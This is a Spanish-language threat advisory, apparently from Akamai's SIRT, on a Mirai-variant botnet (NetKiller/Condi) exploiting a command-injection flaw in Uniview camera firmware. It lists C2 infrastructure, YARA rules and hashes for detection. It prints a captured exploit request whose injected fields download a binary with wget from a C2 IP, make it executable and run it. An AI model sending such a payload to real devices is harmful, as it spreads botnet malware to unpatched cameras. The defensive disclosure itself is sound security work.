La botnet NetKiller.Condi explota CVE-2024-0778 una semana después de su divulgación
Resumen ejecutivo
Se ha detectado una vulnerabilidad en el firmware de la cámara ISC de Zhejiang Uniview modelo 2500-S hasta la versión de firmware 20210930. Esta vulnerabilidad permite inyectar comandos del sistema operativo mediante la manipulación de argumentos de solicitud específicos.
La vulnerabilidad, identificada como CVE-2024-0778, afecta a productos que ya no reciben asistencia por parte del encargado del mantenimiento, ya que el producto ha llegado al final del periodo de asistencia.
El equipo de respuesta a incidentes e inteligencia en seguridad de Akamai (SIRT) documentó una variante del malware Mirai y observó un intento de explotación de la vulnerabilidad que tenía como objetivo nuestros señuelos.
El atacante también se dirigió a otros URI con diferentes cargas, lo que indica que el objetivo son varias arquitecturas del sistema.
Las direcciones IP de mando y control (C2) asociadas a los ataques se encuentran en Vietnam y se resuelven en el dominio C2 net-killer[.]online, que se registró en enero de 2024.
La primera referencia conocida de esta actividad se remonta al 28 de junio de 2023, lo que indica que se trata de una amenaza prolongada y en evolución.
Se ha detectado una vulnerabilidad crítica en el firmware de la cámara ISC de Zhejiang Uniview modelo 2500-S hasta la versión de firmware 20210930. La vulnerabilidad se encuentra en la función setNatConfig dentro del archivo /Interface/DevManage/VM.php. Si se explota esta vulnerabilidad, es posible inyectar comandos del sistema operativo mediante la manipulación de los siguientes argumentos de solicitud: natAddress, natPort y natServerPort.
El ataque se ha dado a conocer públicamente y supone un riesgo importante para los dispositivos expuestos a Internet. La vulnerabilidad se identifica como VDB-251696. Es importante tener en cuenta que esta vulnerabilidad afecta específicamente a los productos que ya no reciben asistencia por parte del encargado del mantenimiento. Se informó rápidamente al proveedor, que confirmó que el producto había llegado al final del periodo de asistencia.
En esta entrada de blog, describiremos la vulnerabilidad, sus consecuencias, además de presentar los indicadores de riesgo (IoC) que hemos observado.
Documentación de una variante del malware Mirai
El SIRT de Akamai documentó una sesión en la que se intentó explotar la vulnerabilidad, que publicamos en GitHub el 16 de enero de 2024. A la vulnerabilidad se le asignó el ID de CVE CVE-2024-0778 el 22 de enero y el 24 de enero observamos a un atacante que tenía como objetivo nuestros señuelos.
Al ejecutar una de las muestras de malware en un entorno aislado (en concreto, el "most-mips"), imprime en la consola la cadena única que hace referencia a "lzrd", que es con lo que se identifica esta variante concreta del malware Mirai (Figura 1). No es algo nuevo, una de las primeras referencias a esta cadena y variante se encuentra en una entrada de blog de 2021 que se usaba como señuelo.
Relación con Condi
Esta muestra de malware en particular llamaba al dominio C2 net-killer[.]online, que ya habíamos observado anteriormente en nuestra red de señuelos. Algunas de las cadenas observadas en las muestras de malware, por ejemplo, "CondiiNeett %s:%d", indican que existe una conexión con la botnet Condi de la que se había informado anteriormente.
Fortinet informó sobre la botnet Condi en junio de 2023, y el código fuente de la botnet Condi se hizo público en GitHub entre el 17 de agosto y el 12 de octubre de 2023. Dado que el código fuente de Condi lleva meses disponible, es probable que otros atacantes, aparte del identificado por Fortinet, lo estén utilizando.
Este atacante se dirigió también a otros URI, como "/ctrlt/DeviceUpgrade_1" (CVE-2017-17215), "/soap.cgi?service=WANIPConn1" (CVE-2013-7471) y "/picsdesc.xml" (CVE-2014-8361) durante el mes pasado, que tenían el archivo de carga "most-mips" y la misma dirección IP C2, mientras que el CVE más reciente tenía una sesión con "most-arm". Vimos que el "most-x86" se dirigía al URI "/ws/v1/cluster/apps" (ataque Hadoop YARN ResourceManager).
Cabe destacar que estas direcciones IP C2 se resolvían, o aún se resuelven, en el dominio C2 net-killer[.]online. Todas las resoluciones de direcciones IP de este dominio son direcciones IP basadas en Vietnam. El dominio se registró el 10 de enero de 2024 a través de Hostinger.
La botnet NetKiller
Las primeras observaciones de esta actividad en nuestros señuelos se produjeron el 28 de junio de 2023. Los atacantes utilizaron la dirección IP C2 103.195.236[.]140, que se encuentra en Vietnam, desde finales de junio de 2023 hasta al menos el 17 de agosto de 2023. El código descargaba una carga llamada "sora.mips", que era, con toda probabilidad, la variante SORA de Mirai (NetKiller.SORA). La primera referencia al nombre de archivo "most", que es la variante LZRD de Mirai (NetKiller.LZRD), se observó el 28 de julio de 2023, del mismo C2. Uno de los dominios C2 utilizados por este atacante en aquel momento era botnet.vinaddns[.]com.
En el caso de la infraestructura de la botnet NetKiller, observamos varias superposiciones en las resoluciones de las direcciones IP (Figura 2). Gran parte de la infraestructura se encontraba en Vietnam y sus dominios C2 solían estar registrados como un subdominio de un host más grande con miles de otros subdominios. En este caso, todos los dominios siguen la convención de nomenclatura "serve", como "serveblog", "servegame" o "servehttp". Del mismo modo, sus subdominios y los nombres de los archivos de malware siguen una convención de nomenclatura que, a menudo, se superpone a nombres como "killer", "botnet" o "most".
En el fragmento de código capturado por nuestro señuelo (Figura 3), podemos ver por el contenido de la solicitud POST que el atacante está intentando explotar la vulnerabilidad de inyección de comandos para ejecutar código que cambie el directorio a /tmp, descargue el binario most-arm mediante el comando wget, establezca los permisos en "world execute" y, finalmente, lance el malware y elimine el binario. La primera y la segunda parte del malware escriben el comando "id" en el archivo "1.php". Podrían ser fragmentos de la prueba de concepto original de la vulnerabilidad que se publicó en GitHub.
METHOD: POST
LISTENING PORT: 90
PATH: /Interface/DevManage/VM.php
REQUEST: natPort=80;echo `id` > 1.php&GAJAX_USERID=0000&GAJAX_ORGCODE=0000&GAJAX_USERNAME=admin&GAJAX_ORGTYPE=2&cmd=setNatConfig&natAddress=cd /tmp/;wget http://103.69.97.45/most-arm;chmod 777 most-arm;./most-arm exploit;rm -rf most-arm&natServerPort=;echo `id` > 1.php&GAJAX_LOGINID=21822020240105183142&GAJAX_ORGNAME=Root
Fig. 3: Carga capturada en el intento de explotación
Conclusión
La detección de una vulnerabilidad crítica en el firmware de la cámara ISC de Zhejiang Uniview, junto a las actividades maliciosas observadas dirigidas a CVE-2024-0778 y a la infraestructura C2 asociada, pone de manifiesto la amenaza constante que representan los agentes maliciosos que explotan las vulnerabilidades de los sistemas obsoletos.
Por lo general, se recomienda retirar el hardware y el software obsoletos que no se puedan reparar para mitigar los riesgos de seguridad y garantizar el cumplimiento de los requisitos normativos. Para proteger los activos y los datos de una organización se requiere una planificación y una ejecución minuciosas, así como una vigilancia permanente.
Una atención continua, una gestión proactiva de vulnerabilidades y una investigación exhaustiva de las infraestructuras asociadas son aspectos esenciales a la hora de mitigar los riesgos y defenderse frente a estas amenazas. Además, la colaboración entre los investigadores y los proveedores de seguridad es fundamental para abordar rápidamente las vulnerabilidades y proteger a los usuarios frente a posibles ataques.
IoC
reglas de YARA
rule netkiller_scripts_1 {
meta:
description = "netkiller_scripts_1"
author = "Akamai SIRT"
date = "2024-02-26"
strings:
$s1 = "mostnet0510" fullword ascii
$s2 = "most" fullword ascii
$s3 = "most-ppc" fullword ascii
$s4 = "most-m68k" fullword ascii
$s5 = "most-x86" fullword ascii
$s6 = “CondiiNeett %s:%d” fullword ascii
condition:
3 of them
}
rule netkiller_scripts_2 {
meta:
description = "netkiller_scripts_2"
author = "Akamai SIRT"
date = "2024-02-26"
strings:
$s1 = "caclo" fullword ascii
$s2 = "npxXoudifFeEgGaACScs" fullword ascii
$s3 = "khong_xac_dinh" fullword ascii
$s4 = "webserv" fullword ascii
condition:
3 of them
}
rule netkiller_scripts_3 {
meta:
description = "netkiller_scripts_3"
author = "Akamai SIRT"
date = "2024-02-26"
strings:
$s1 = "babylone" fullword ascii
$s2 = "[killer] da giet" fullword ascii
$s3 = "[killer] Kh" fullword ascii
$s4 = "[killer] Failed to create child process." fullword ascii
$s5 = "ng th" fullword ascii
$s6 = " o quy tr" fullword ascii
$s7 = "nh con." fullword ascii
$8 = "/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38
/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/
xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/
x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/
xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/
x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/
x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/
xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A"
condition:
3 of them
}
Direcciones IP C2
103[.]69[.]97[.]45
103[.]67[.]196[.]50
103[.]72[.]57[.]249
103[.]72[.]57[.]195
103[.]37[.]61[.]26
15[.]235[.]155[.]8
34[.]94[.]59[.]72
103[.]67[.]163[.]20
35[.]235[.]96[.]85
103[.]195[.]236[.]140
103[.]72[.]57[.]191
103[.]72[.]56[.]135
43[.]229[.]150[.]94
103[.]155[.]81[.]228
103[.]172[.]79[.]74
Nombres de dominio C2
net-killer[.]online
mostnet[.]servegame[.]com
net-killer[.]servehttp[.]com
botnet[.]serveblog[.]net
botnet[.]vinaddns[.]com
botnet1[.]vinaddns[.]com
Hashes SHA256
62e9e4032bbfdc8ff27ba1386884adf59d34c8bf42424e4fd80d836d2b40c7db
E4970af58d4ef7f23d7b6813203cf980f9aa1d507953d87978810d0de339779a
646ed28bb9b2efe839a095ea0cf8b3a2c6acf2f4edabd5a743154f6ff432ab7b
D00b4c81059c295b924fa43778d06659b01f074e4099147c596d9b1a2789e329
75b20eec15cc9f64b5dbd884f9296e8a2ae2bec728dbe8886584f13e8d13d596
E4970af58d4ef7f23d7b6813203cf980f9aa1d507953d87978810d0de339779a
6704f73d8e51c259f74fdadc9d3782e60d279cf2619a83e75786d29f59810f91
13014707a5338954138b6b83fd04080407e3088ef6bcf3307d0cc1cdf44c21c0
b4512382738144e5e0a411d8d47d2496a73675a54b8ee8468ab7975011c2305b
5692541960ec2360ec431679d33aee79836572adc3a8b2e39f81402ec980dd58
8f8c68165c5853e9ce33f76d37d77db7112d713d0374d1e5ad6e0f0ac343cb1b
cfce0b57fa30be5297768f9dd1dcb2a5930b3a440b95ad407b3055405ad0ddd5